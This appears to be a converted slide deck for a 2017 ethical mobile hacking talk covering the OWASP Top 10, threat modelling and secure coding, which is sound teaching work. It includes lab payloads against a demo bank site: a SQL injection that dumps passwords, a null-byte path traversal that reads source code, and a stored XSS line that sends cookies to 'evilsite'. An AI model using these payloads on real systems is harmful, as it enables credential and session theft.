



# MIDS

**MOBILE & DISRUPTIVE  
TECHNOLOGY SUMMIT**

**October 5 - 6, 2017**

<https://tinyurl.com/y9be6ynf>

# Enterprise Ethical Mobile Hacking Using OWASP Top 10 2017

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saltmarch  
MEDIA

**MIDS**  
MOBILE & DISRUPTIVE  
TECHNOLOGY SUMMIT

5-7 October 2016. Bangalore, India  
[www.modsummit.com](http://www.modsummit.com)

# Roadmap

<https://tinyurl.com/y9be6ynf>

- **Ethical Hacking**
- **Threat Modeling**
- **Static Analysis**
  - **SEI CERT Coding Standards**
- **Dynamic Analysis**
  - **OWASP Top 10**
- **Ethical Hacking Steps**





Image hosted by WittySparks.com




**Public clouds**



**Distributed apps**

**Microservices**







**Private cloud**




**Platform-as-a-Service**



-  APIs
-  App workloads
-  Microservices




A scene from the movie Spider-Man 2 showing Spider-Man from behind, standing on a rooftop. He is looking out over a cityscape where a large, intricate spiderweb has been spun across a tall building. The sky is overcast and grey.

*"With great power comes  
great responsibility"*  
*~Voltaire*



# Attack surface



# The Mobile Attack Surface

## ATTACK SURFACE: THE DEVICE



### BROWSER

- Phishing
- Framing
- Clickjacking
- Man-in-the-Middle
- Buffer Overflow
- Data Caching



### SYSTEM

- No Passcode/Weak Passcode
- iOS Jailbreak
- Android Rooting
- OS Data Caching
- Passwords & Data Accessible
- Carrier-Loaded Software
- No Encryption/Weak Encryption
- User-Initiated Code



### PHONE/SMS

- Baseband Attacks
- SMishing



### APPS

- Sensitive Data Storage
- No Encryption/Weak Encryption
- Improper SSL Validation
- Config Manipulation
- Dynamic Runtime Injection
- Unintended Permissions
- Escalated Privileges



### MALWARE

## ATTACK SURFACE: THE NETWORK

- Wi-Fi (No Encryption/Weak Encryption)
- Rogue Access Point
- Pocket Sniffing
- Man-in-the-Middle (MITM)
- Session Hacking
- DNS Poisoning
- SSL Strip
- Fake SSL Certificate



## ATTACK SURFACE: THE DATA CENTER

### WEB SERVER

- Platform Vulnerabilities
- Server Misconfiguration
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (XSRF)
- Weak Input Validation
- Brute Force Attacks

### DATABASE

- SQL Injection
- Privilege Escalation
- Data Dumping
- OS Command Execution

# ATTACK SURFACE: THE DEVICE




## BROWSER

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- OS Data Caching
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Rogue Access Point

Pocket Sniffing

Man-in-the-Middle (MITM)

Session Hacking

DNS Poisoning

SSL Strip

Fake SSL Certificate

## ATTACK SURFACE: THE DATA CENTER

### WEB SERVER

Platform Vulnerabilities

Server Misconfiguration

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (XSRF)

Weak Input Validation

Brute Force Attacks

### DATABASE

SQL Injection

Privilege Escalation

Data Dumping

OS Command Execution



### PHONE/SMS

Baseband Attacks

SMishing



### APPS

Sensitive Data Storage

No Encryption/Weak Encryption

Improper SSL Validation

Config Manipulation

Dynamic Runtime Injection

Unintended Permissions

Escalated Privileges



### MALWARE


# World's Biggest Data Breaches

Selected losses greater than 30,000 records

(updated 2nd October 2015)


interesting story


YEAR BUBBLE COLOUR YEAR METHOD OF LEAK BUBBLE SIZE NO OF RECORDS STOLEN DATA SENSITIVITY HIDE FILTER



# The Maginot Line















# Attacks

“84% of all cyber-attacks are happening on the application layer”

SAP

“90% of security incidents result from exploits against defects in software”

Department of Homeland Security



# Common Vulnerability & Exposure



<https://web.nvd.nist.gov/view/vuln/search?execution=e2s1>

## Q Search Results [\(Refine Search\)](#)




Sort results by:  [Sort](#)

### Search Parameters:

- Results Type: Overview
- Search Type: Search All
- Keyword (text search): apache

There are **1,165** matching records.  
 Displaying matches **1** through **20**.

1 2 3 4 5 6 7 8 9 10 > >>

Vuln ID 	Summary 	CVSS Severity 
<a href="#">CVE-2017-9797</a>	<p>When an Apache Geode cluster before v1.2.1 is operating in secure mode, an unauthenticated client can enter multi-user authentication mode and send metadata messages. These metadata operations could leak information about application data types. In addition, an attacker could perform a denial of service attack on the cluster.</p> <p><b>Published:</b> October 02, 2017; 09:29:03 PM -04:00</p>	(not available)
<a href="#">CVE-2017-12620</a>	<p>When loading models or dictionaries that contain XML it is possible to perform an XXE attack, since Apache OpenNLP is a library, this only affects applications that load models or dictionaries from untrusted sources. The versions 1.5.0 to 1.5.3, 1.6.0, 1.7.0 to 1.7.2, 1.8.0 to 1.8.1 of Apache OpenNLP are affected.</p> <p><b>Published:</b> October 02, 2017; 09:29:01 PM -04:00</p>	(not available)

<https://nvd.nist.gov/vuln/search>

# Lab - Exploring vulnerabilities

- <https://web.nvd.nist.gov/view/vuln/search?execution=e2s1>



# Roadmap

- Ethical Hacking
- **Threat Modeling**
- Static Analysis
  - SEI CERT Coding Standards
- Dynamic Analysis
  - OWASP Top 10
- Ethical Hacking Steps



# Threat modeling

Complex Threat Model\_with\_security\_gateway\* - Threat Modeling Tool 2016

File Edit View Settings Diagram Reports Help

External Access Internal Access Service Access

External User

WAF

Trading Web App

SQL Database

Web Application

REDIS

Cassandra

Company Trust Boundary

Threat List

ID	Diagram	Changed By	Last Modified	State	Title	Category	Description
121	External Access	WINDEV1610E...	12/8/2016 2:19:...	Mitigated	Data Flow Sniffing	Information Di...	Data flowing across HTTP may be sniffed by an attacker. De
122	External Access	WINDEV1610E...	12/8/2016 2:19:...	Mitigated	Potential Process Crash or Stop for...	Denial Of Servi...	Trading Web App crashes, halts, stops or runs slowly; in all c
123	External Access	Generated	Generated	Not Started	Cross-Site Request Forgery (CSRF)	Elevation Of Pr	Cross-site request forgery (CSRF or XSRF) is a type of attack

63 Threats Displayed, 63 Total

Threat Properties

ID: 125 Diagram: External Access Status: Not Started Last Modified: Generated

Title: Elevation by Changing the Execution Flow in Trading Web App

Category: Elevation Of Privilege



# mitigation techniques

<b>Threat</b>	<b>Mitigation Feature</b>
<b>Spooftng</b>	<b>Authentication</b>
<b>Tampering</b>	<b>Integrity</b>
<b>Repudiation</b>	<b>Nonrepudiaton</b>
<b>Information Disclosure</b>	<b>Confidentiality</b>
<b>Denial of Service</b>	<b>Availability</b>
<b>Elevation of Privilege</b>	<b>Authorization</b>

# MOBILE THREAT AGENT IDENTIFIER & TYPES

Thief/ Stolen Device User



Codes

Sends

Browser  
Exe Script

Executes

Reads

Application  
Memory

App

Installed  
Malware App

Wifi / GSM

Decompilation

Sniffs

SMS




Sends



Device User

Attacker



<https://msdn.microsoft.com/en-us/library/aa561578.aspx>

# ELEVATION OF PRIVILEGE GAME



The advertisement features a colorful, maze-like background with various icons and text. On the left, a black box contains descriptive text about the game. In the center, several game cards are displayed, including one for 'Denial of Service' and a large red one for 'Spoofing'. The Microsoft logo is in the top right, and the Security Development Lifecycle logo is in the bottom left.

elevation of privilege

Microsoft

elevation of privilege

Elevation of Privilege card game easily and simply helps you define and examine possible threats to software or computer systems.

Until now, considering a bunch of possible attacks may have seemed hard to wrap your head around. But through 6 threat groups, EoP keeps you focused on identifying attacks: Spoofing, Tampering, Reputation, Denial of Service and Elevation of Privilege.

And because EoP incorporates a simple point system, you can challenge other developers and become your opponent's biggest threat.

Includes 84 cards

© 2010 Microsoft Corporation

Security Development Lifecycle

A Threat Modeling Card Game for Developers

Denial of Service

Elevation of Privilege

Spoofing

Your system ships with a default admin password, and doesn't force a change.

<https://www.microsoft.com/en-us/SDL/adopt/eop.aspx>

# Context




# Play




# 2

## Spoofting

An attacker could squat on the random port or socket that the server normally uses






Q

# Spoofing

An attacker could go after the way credentials are updated or recovered (account recovery doesn't require disclosing the old password)

An attacker could go after the way credentials are updated or recovered (account recovery doesn't require disclosing the old password)





# SPOOFING AGAINST APPLICATION


7

## Spooofing

An attacker can connect to a server or peer over a link that isn't authenticated (and encrypted)

- **FTP account (unencrypted) used between web server and the database**
- **1 point awarded**
- **JIRA bug ticket opened**






# 10

## Tampering

An attacker can alter information in a data store because it has weak ACLs or includes a group which is equivalent to everyone ("all Live ID holders")




- **Web Application Server connecting to cloud storage uses shared password (weak ACL)**
- **1 point awarded**
- **JIRA bug ticket opened**

# 10

## Tampering


An attacker can alter information in a data store because it has weak ACLs or includes a group which is equivalent to everyone ("all Live ID holders")



# Lab - Threat Modeling

- Download MS threat modeling tool
  - <https://www.microsoft.com/en-us/download/details.aspx?id=49168>
  - <https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/security/azure-security-threat-modeling-tool.md>

# SSL Threat model: Ivan Ristic (Ristić, 2009)





## About CAPEC

Documents  
Glossary  
FAQs

## CAPEC List

Search  
Review  
Downloads  
Documentation  
Release Notes  
Archive  
Submit Content

## Community

Use & Citations  
Related Activities  
Discussion List  
Contact Us

## Compatibility

Program  
Requirements  
Participants  
Make a Declaration

## News & Events

Calendar  
Free Newsletter

## Search the Site

# CAPEC-12: Choosing Message Identifier

Attack Pattern ID: 12

Abstraction: Standard

Status: Draft  
Completeness: Complete

Presentation Filter:

## Summary

This pattern of attack is defined by the selection of messages distributed over via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

## Attack Prerequisites

- Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users.
- Distribution means must code (through channel, message identifiers, or convention) message destination in a manner visible within the distribution means itself (such as a control channel) or in the messages themselves.

## Solutions and Mitigations


Associate some ACL (in the form of a token) with an authenticated user which they provide middleware. The middleware uses this token as part of its channel/message selection for that client, or part of a discerning authorization decision for privileged channels/messages.

The purpose is to architect the system in a way that associates proper authentication/authorization with each channel/message. Re-architect system input/output channels as appropriate to distribute self-protecting data. That is, encrypt (or otherwise protect) channels/messages so that only authorized readers can see them.

476 attack patterns, organized into 15 groups

<https://capec.mitre.org/data/definitions/12.html>

# threat cube classification model






# Roadmap


<https://tinyurl.com/y9be6ynf>

- Ethical Hacking
- Threat Modeling
- **Static Analysis**
  - SEI CERT Coding Standards
- Dynamic Analysis
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


# Coding life cycle





# Coding life cycle



 Pages

SPACE SHORTCUTS

 Dashboard

 Home

 Android

 C

 C++

 Java

 Perl

 CERT Website

PAGE TREE

- [Top 10 Secure Coding Practices](#)
- [Verification of Mappings to Static Analy](#)

## Standards Development Area

The following development areas enable you to learn about and contribute to secure coding standards for commonly used programming languages C, C++, Java, and Perl. [Contact us](#) to comment on existing items, submit recommendations, or request privileges to directly edit content on this site.



**SEI CERT C Coding Standard**



**SEI CERT Oracle Coding Standard for Java**



**CERT C++ Coding Standard**



**SEI CERT Perl Coding Standard**



**Android™ Secure Coding Standard**

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# Roadmap

- Ethical Hacking
- Threat Modeling
- Static Analysis
  - SEI CERT Coding Standards
- Dynamic Analysis
  - OWASP Top 10
- Ethical Hacking Steps



大正十一年  
復文  
興  
盛

赤松久雄

十三年  
菅田素心


真壁知義

野村正佳

金志拾萬円  
細泉

金志拾萬円  
折原大  
足利市

金志拾萬円  
高准  
生駒市



Threat Agent	Attack Vector	Weakness Prevalence	Weakness Detectability	Technical Impact	Business Impact
?	1 Easy	Widespread	Easy	Severe	?
	2 Average	Common	Average	Moderate	
	3 Difficult	Uncommon	Difficult	Minor	
	1	2	2	1	
		1.66		*	1

**Injection Example**

**1.66 weighted risk rating**



OWASP Top 10 – 2013 (Previous)	OWASP Top 10 – 2017 (New)
A1 – Injection	A1 – Injection
A2 – Broken Authentication and Session Management	A2 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)	A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References - Merged with A7	A4 – Broken Access Control (Original category in 2003/2004)
A5 – Security Misconfiguration	A5 – Security Misconfiguration
A6 – Sensitive Data Exposure	A6 – Sensitive Data Exposure
A7 – Missing Function Level Access Control - Merged with A4	A7 – Insufficient Attack Protection (NEW)
A8 – Cross-Site Request Forgery (CSRF)	A8 – Cross-Site Request Forgery (CSRF)
A9 – Using Components with Known Vulnerabilities	A9 – Using Components with Known Vulnerabilities
A10 – Unvalidated Redirects and Forwards - Dropped	A10 – Underprotected APIs (NEW)



# Mobile Top 10 2016

## M1 - Improper Platform Usage

This category covers misuse of a platform feature or failure to use platform security controls. It might include Android intents, platform permissions, misuse of TouchID, the Keychain, or some other security control that is part of the mobile operating system. There are several ways that mobile apps can experience this risk.

## M2 - Insecure Data Storage

This new category is a combination of M2 + M4 from Mobile Top Ten 2014. This covers insecure data storage and unintended data leakage.

## M3 - Insecure Communication

This covers poor handshaking, incorrect SSL versions, weak negotiation, cleartext communication of sensitive assets, etc.

## M4 - Insecure Authentication

This category captures notions of authenticating the end user or bad session management. This can include:

- Failing to identify the user at all when that should be required
- Failure to maintain the user's identity when it is required
- Weaknesses in session management

## M5 - Insufficient Cryptography

The code applies cryptography to a sensitive information asset. However, the cryptography is insufficient in some way. Note that anything and everything related to TLS or SSL goes in M3. Also, if the app fails to use cryptography at all when it should, that probably belongs in M2. This category is for issues where cryptography was attempted, but it wasn't done correctly.

# Mobile Top 10 2016

## M6 - Insecure Authorization

This is a category to capture any failures in authorization (e.g., authorization decisions in the client side, forced browsing, etc.). It is distinct from authentication issues (e.g., device enrolment, user identification, etc.).

If the app does not authenticate users at all in a situation where it should (e.g., granting anonymous access to some resource or service when authenticated and authorized access is required), then that is an authentication failure not an authorization failure.

## M7 - Client Code Quality

This was the "Security Decisions Via Untrusted Inputs", one of our lesser-used categories. This would be the catch-all for code-level implementation problems in the mobile client. That's distinct from server-side coding mistakes. This would capture things like buffer overflows, format string vulnerabilities, and various other code-level mistakes where the solution is to rewrite some code that's running on the mobile device.

## M8 - Code Tampering

This category covers binary patching, local resource modification, method hooking, method swizzling, and dynamic memory modification.

Once the application is delivered to the mobile device, the code and data resources are resident there. An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application's data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain.

## M9 - Reverse Engineering

This category includes analysis of the final core binary to determine its source code, libraries, algorithms, and other assets. Software such as IDA Pro, Hopper, otool, and other binary inspection tools give the attacker insight into the inner workings of the application. This may be used to exploit other nascent vulnerabilities in the application, as well as revealing information about back end servers, cryptographic constants and ciphers, and intellectual property.

## M10 - Extraneous Functionality


Often, developers include hidden backdoor functionality or other internal development security controls that are not intended to be released into a production environment. For example, a developer may accidentally include a password as a comment in a hybrid app. Another example includes disabling of 2-factor authentication during testing.

# M1: Improper Platform Usage

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence COMMON	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
<p>This category covers misuse of a platform feature or failure to use platform security controls. It might include Android intents, platform permissions, misuse of TouchID, the Keychain, or some other security control that is part of the mobile operating system.</p>	<p>The attack vectors correspond to the same attack vectors available through the traditional OWASP Top Ten. Any exposed API call can serve as attack vector here.</p>	<p>In order for this vulnerability to be exploited, the organization must expose a web service or API call that is consumed by the mobile app. The exposed service or API call is implemented using insecure coding techniques that produce an OWASP Top Ten vulnerability within the server. Through the mobile interface, an adversary is able to feed malicious inputs or unexpected sequences of events to the vulnerable endpoint. Hence, the adversary realizes the original OWASP Top Ten vulnerability on the server.</p>		<p>The technical impact of this vulnerability corresponds to the technical impact of the associated vulnerability (defined in the OWASP Top Ten) that the adversary is exploiting via the mobile device.</p> <p>For example, an adversary may exploit a Cross-Site Scripting (XSS) vulnerability via the mobile device. This corresponds to the OWASP Top Ten A3 - XSS Category with a technical impact of moderate.</p>	<p>The business impact of this vulnerability corresponds to the business impact of the associated vulnerability (defined in the OWASP Top Ten) that the adversary is exploiting via the mobile device.</p> <p>For example, an adversary may exploit a Cross-Site Scripting (XSS) vulnerability via the mobile device. This corresponds to the OWASP Top Ten A3 - XSS Category's business impacts.</p>

# M2-Insecure Data Storage

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
<b>Application Specific</b>	<b>Exploitability EASY</b>	<b>Prevalence COMMON</b>	<b>Detectability AVERAGE</b>	<b>Impact SEVERE</b>	<b>Application / Business Specific</b>
Threats agents include the following: an adversary that has attained a lost/stolen mobile device; malware or another repackaged app acting on the adversary's behalf that executes on the mobile device.	In the event that an adversary physically attains the mobile device, the adversary hooks up the mobile device to a computer with freely available software. These tools allow the adversary to see all third party application directories that often contain stored personally identifiable information (PII) or other sensitive information assets. An adversary may construct malware or modify a legitimate app to steal such information assets.	Insecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device's filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible. Organizations should expect a malicious user or malware to inspect sensitive data stores. Usage of poor encryption libraries is to be avoided. Rooting or jailbreaking a mobile device circumvents any encryption protections. When data is not protected properly, specialized tools are all that is needed to view application data.		<p>This can result in data loss, in the best case for one user, and in the worst case for many users. It may also result in the following technical impacts: extraction of the app's sensitive information via mobile malware, modified apps or forensic tools.</p> <p>The nature of the business impact is highly dependent upon the nature of the information stolen. Insecure data may result in the following business impacts:</p> <ul style="list-style-type: none"> <li>• Identity theft;</li> <li>• Privacy violation;</li> <li>• Fraud;</li> <li>• Reputation damage;</li> <li>• External policy violation (PCI); or</li> <li>• Material loss.</li> </ul>	<p>Insecure data storage vulnerabilities typically lead to the following business risks for the organization that owns the risk app:</p> <ul style="list-style-type: none"> <li>• Identity Theft</li> <li>• Fraud</li> <li>• Reputation Damage</li> <li>• External Policy Violation (PCI); or</li> <li>• Material Loss.</li> </ul>



Carrier

6:34 AM



Exercises

Introduction

Home


## Local Data Storage

In this exercise, you'll exploit an app that unsafely stores sensitive data locally on the iOS device. In the lesson, the app stores data using a local SQLite database file, but no encryption is used.

Your task is to locate the database and find the sensitive data that it contains.

Credits

Start Exercise



```
mac:Documents haddix$ strings credentials.sqlite
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)n
;tablecreds
CREATE TABLE creds (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT)
(jasonpleasedontstoremebro!)
```

# M3-Insecure Communication


Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
<b>Application Specific</b>	<b>Exploitability EASY</b>	<b>Prevalence COMMON</b>	<b>Detectability AVERAGE</b>	<b>Impact SEVERE</b>	<b>Application / Business Specific</b>
<p>When designing a mobile application, data is commonly exchanged in a client-server fashion. When the solution transmits its data, it must traverse the mobile device's carrier network and the internet. Threat agents might exploit vulnerabilities to intercept sensitive data while it's traveling across the wire. The following threat agents exist:</p> <ul style="list-style-type: none"> <li>• An adversary that shares your local network (compromised or monitored Wi-Fi);</li> <li>• Carrier or network devices (routers, cell towers, proxy's, etc); or</li> <li>• Malware on your mobile device.</li> </ul>	<p>The exploitability factor of monitoring a network for insecure communications ranges. Monitoring traffic over a carrier's network is harder than that of monitoring a local coffee shop's traffic. In general, targeted attacks are easier to perform.</p>	<p>Mobile applications frequently do not protect network traffic. They may use SSL/TLS during authentication but not elsewhere. This inconsistency leads to the risk of exposing data and session IDs to interception. The use of transport security does not mean the app has implemented it correctly. To detect basic flaws, observe the phone's network traffic. More subtle flaws require inspecting the design of the application and the applications configuration.</p>		<p>This flaw exposes an individual user's data and can lead to account theft. If the adversary intercepts an admin account, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.</p>	<p>At a minimum, interception of sensitive data through a communication channel will result in a privacy violation.</p> <p>The violation of a user's confidentiality may result in:</p> <ul style="list-style-type: none"> <li>• Identity theft;</li> <li>• Fraud, or</li> <li>• Reputational Damage.</li> </ul>



# Example Attack Scenarios

- Lack of certificate inspection - TLS handshake
- Weak handshake negotiation

# SQL Injection



Account:

SKU:

1. Application presents a form to the attacker
2. Attacker sends an attack in the form data
3. Application forwards attack to the database in a SQL query
4. Database runs query containing attack and sends encrypted results back to application
5. Application decrypts data as normal and sends results to the user

http://demo.testfire.net/bank/login.aspx

# SQL Injection



[Sign Off](#) | [Contact Us](#) | [Feedback](#) | Search

**DEMO  
SITE  
ONLY**

[MY ACCOUNT](#)

[PERSONAL](#)

[SMALL BUSINESS](#)

[INSIDE ALTORO MUTUAL](#)

## I WANT TO ...

- [View Account Summary](#)
- [View Recent Transactions](#)
- [Transfer Funds](#)
- [Search News Articles](#)
- [Customize Site Language](#)

## Recent Transactions

After  Before    
mm/dd/yyyy mm/dd/yyyy

TransactionID	AccountID	Description	Amount
1		admin admin	
2		tuser tuser	
100116013		sjoe frazier	
100116014		jsmith Demo1234	
100116015		cclay Ali	
100116018		sspeed Demo1234	

# Lab SQL Injection

- <http://www.ibm.com/developerworks/library/se-owasp-top10/>
- Getting other users from search:
  - 1/1/2010 union select userid,null, username+' '+password,null from users --

<http://demo.testfire.net/bank/>

```
5/31/2007 11:10 AM <dir> 20060308_bak
1/12/2011 10:14 PM 1831 account.aspx
1/12/2011 10:14 PM 4277 account.aspx.cs
1/12/2011 10:14 PM 771 apply.aspx
1/12/2011 10:14 PM 2828 apply.aspx.cs
1/12/2011 10:14 PM 2236 bank.master
1/12/2011 10:14 PM 1134 bank.master.cs
1/12/2011 10:14 PM 904 customize.aspx
1/12/2011 10:14 PM 1955 customize.aspx.cs
1/12/2011 10:14 PM 1806 login.aspx
1/12/2011 10:14 PM 5847 login.aspx.cs
1/12/2011 10:14 PM 78 logout.aspx
1/12/2011 10:14 PM 3361 logout.aspx.cs
1/12/2011 10:14 PM 935 main.aspx
1/12/2011 10:14 PM 3951 main.aspx.cs
5/31/2007 11:10 AM <dir> members
1/12/2011 10:14 PM 1414 mozxpath.js
6/21/2011 10:29 PM 779 queryxpath.aspx
1/12/2011 10:14 PM 1838 queryxpath.aspx.cs
1/12/2011 10:14 PM 499 servererror.aspx
1/12/2011 10:14 PM 1700 transaction.aspx
1/12/2011 10:14 PM 3826 transaction.aspx.cs
1/12/2011 10:14 PM 3930 transfer.aspx
1/12/2011 10:14 PM 3505 transfer.aspx.cs
1/12/2011 10:14 PM 82 ws.asmx
```

`http://demo.testfire.net/default.aspx?content=../bank/login.aspx.cs%00.txt`

- <http://blog.dornea.nu/2013/05/06/hacking-altoro-mutual/>

# Prevent SQL injection

```
SELECT * FROM db_user WHERE username='<USERNAME>' AND  
password='<PASSWORD>'
```

```
SELECT * FROM db_user WHERE username='<USERNAME>' AND password='' OR '1'='1'
```

# Prepared Statements (with Parameterized Queries)

```
String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
```



# Hibernate Query Language (HQL)

First is an unsafe HQL Statement

```
Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");
```

Here is a safe version of the same query using named parameters

```
Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");  
safeHQLQuery.setParameter("productid", userSuppliedParameter);
```

# Escaping All User Supplied Input

```
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );
```

# Using ESAPI

```
String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID")  
+ "' and user_password = '" + req.getParameter("pwd") + "'";  
try {  
    Statement statement = connection.createStatement( ... );  
    ResultSet results = statement.executeQuery( query );  
}
```

```
Codec ORACLE_CODEC = new OracleCodec();  
String query = "SELECT user_id FROM user_data WHERE user_name = '" +  
    ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID")) + "' and user_password = '"  
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) + "'";
```

```
Encoder oe = new OracleEncoder();  
String query = "SELECT user_id FROM user_data WHERE user_name = '"  
+ oe.encode( req.getParameter("userID")) + "' and user_password = '"  
+ oe.encode( req.getParameter("pwd")) + "'";
```

# SQL Injection

## Recommendations

- Avoid the interpreter entirely, or
- Use an interface that supports bind variables (e.g., prepared statements, or stored procedures),
  - Bind variables allow the interpreter to distinguish between code and data
- Encode all user input before passing it to the interpreter
- Always perform 'white list' input validation on all user supplied input
- Always minimize database privileges to reduce the impact of a flaw

## References

- For more details, read the [https://www.owasp.org/index.php/SQL\\_Injection\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)

# A2 – Broken Authentication and Session Management

## HTTP is a “stateless” protocol

- Means credentials have to go with every request
- Should use SSL for everything requiring authentication

## Session management flaws

- SESSION ID used to track state since HTTP doesn't
  - and it is just as good as credentials to an attacker
- SESSION ID is typically exposed on the network, in browser, in logs, ...

## Beware the side-doors

- Change my password, remember my password, forgot my password, secret question, logout, email address, etc...

## Typical Impact


- User accounts compromised or user sessions hijacked

# Broken Authentication

1


User sends credentials

`www.boi.com?JSESSIONID=9FA1DB9EA...`



2

Site uses URL rewriting (i.e., put session in URL)



3

User clicks on a link to <http://www.hacker.com> in a forum

Hacker checks referrer logs on [www.hacker.com](http://www.hacker.com) and finds user's JSESSIONID

4

5

Hacker uses JSESSIONID and takes over victim's account



# Broken authentication and session management

The screenshot shows the AltoroMutual website interface. The browser address bar displays `http://demo.testfire.net`. The page header includes the AltoroMutual logo, navigation links for [Sign Off](#), [Contact Us](#), and [Feedback](#), and a search bar. A banner below the header features a "Download AppScan Trial" button and a "DEMO SITE ONLY" notice. The main navigation menu includes [MY ACCOUNT](#), [PERSONAL](#), [SMALL BUSINESS](#), and [INSIDE ALTORO MUTUAL](#). The [PERSONAL](#) section is active, displaying a list of services such as [Deposit Product](#), [Checking](#), [Loan Products](#), [Cards](#), [Investments & Insurance](#), and [Other Services](#). The [SMALL BUSINESS](#) section also lists services like [Deposit Products](#), [Lending Services](#), [Cards](#), [Insurance](#), [Retirement](#), and [Other Services](#). The search results area shows "No results were found" for the search term `<script>alert(document.cookie)</script>`. A JavaScript alert box is overlaid on the page, displaying the following cookie data:

```
amSessionId=71849112834;  
amUserInfo=UserName=anNtaXR0Ly0t&Password=Z3J3;  
amUserId=100116014;  
amCreditOffer=CardType=Gold&Limit=10000&Interest=7.9
```

Search: `<script>alert(document.cookie)</script>`

# A2 – Avoiding Broken Authentication and Session Management

## Verify your architecture

- Authentication should be simple, centralized, and standardized
- Use the standard session id provided by your container
- Be sure SSL protects both credentials and session id at all times

## Verify the implementation

- Forget automated analysis approaches
- Check your SSL certificate
- Examine all the authentication-related functions
- Verify that logoff actually destroys the session
- Use OWASP's WebScarab to test the implementation


## Follow the guidance from

- [https://www.owasp.org/index.php/Authentication\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Authentication_Cheat_Sheet)




# A3: Cross Site Scripting


1 Attacker sets the trap – update my profile



Application with stored XSS vulnerability



2 Victim views page – sees attacker profile



3 Script silently sends attacker Victim's session cookie

# Cross-site scripting

Your Name:

Question/Comment:

This is a great product <script>document.write('<img scr=http://evilsite/'+document.cookie>');</script>

# Avoiding XSS

- **Recommendations**

- **Eliminate Flaw**

- Don't include user supplied input in the output page

- **Defend Against the Flaw**

- Use Content Security Policy (CSP)

- **Primary Recommendation: Output encode all user supplied input (Use OWASP's ESAPI or Java Encoders to output encode)**

- <https://www.owasp.org/index.php/ESAPI>

- [https://www.owasp.org/index.php/OWASP\\_Java\\_Encoder\\_Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)

- Perform 'white list' input validation on all user input to be included in page
    - For large chunks of user supplied HTML, use OWASP's AntiSamy to sanitize this HTML to make it safe

- See: <https://www.owasp.org/index.php/AntiSamy>


- **References**

- For how to output encode properly, read the

- [https://www.owasp.org/index.php/XSS\\_\(Cross\\_Site\\_Scripting\)\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)

# File inclusion vulnerability

- <http://demo.testfire.net/default.aspx?content=../testing.txt>
- An Error Has Occurred
- Summary:
- Could not find file 'D:\downloads\AltoroMutual\_v6website\esting.txt'.
- Error Message:
- System.IO.FileNotFoundException: Could not find file 'D:\downloads\AltoroMutual\_v6website\esting.txt'. File name: 'D:\downloads\AltoroMutual\_v6website\esting.txt' at System.IO.\_\_Error.WinIOError(Int32 errorCode, String maybeFullPath) at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY\_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy) at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options) at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize) at System.IO.StreamReader..ctor(String path) at System.IO.File.OpenText(String path) at Altoro.Default.LoadFile(String myFile) in d:\downloads\AltoroMutual\_v6websitedefault.aspx.cs:line 42 at Altoro.Default.Page\_Load(Object sender, EventArgs e) in d:\downloads\AltoroMutual\_v6websitedefault.aspx.cs:line 70 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)



#1: ( &, <, >, " ) → &entity; ( ' , / ) → &#xHH;  
ESAPI: encodeForHTML()

#2: All non-alphanumeric < 256 → &#xHH;  
ESAPI: encodeForHTMLAttribute()

#3: All non-alphanumeric < 256 → \xHH  
ESAPI: encodeForJavaScript()

#4: All non-alphanumeric < 256 → \HH  
ESAPI: encodeForCSS()

#5: All non-alphanumeric < 256 → %HH  
ESAPI: encodeForURL()

**ALL other contexts CANNOT include Untrusted Data**  
Recommendation: Only allow #1 and #2 and disallow all others

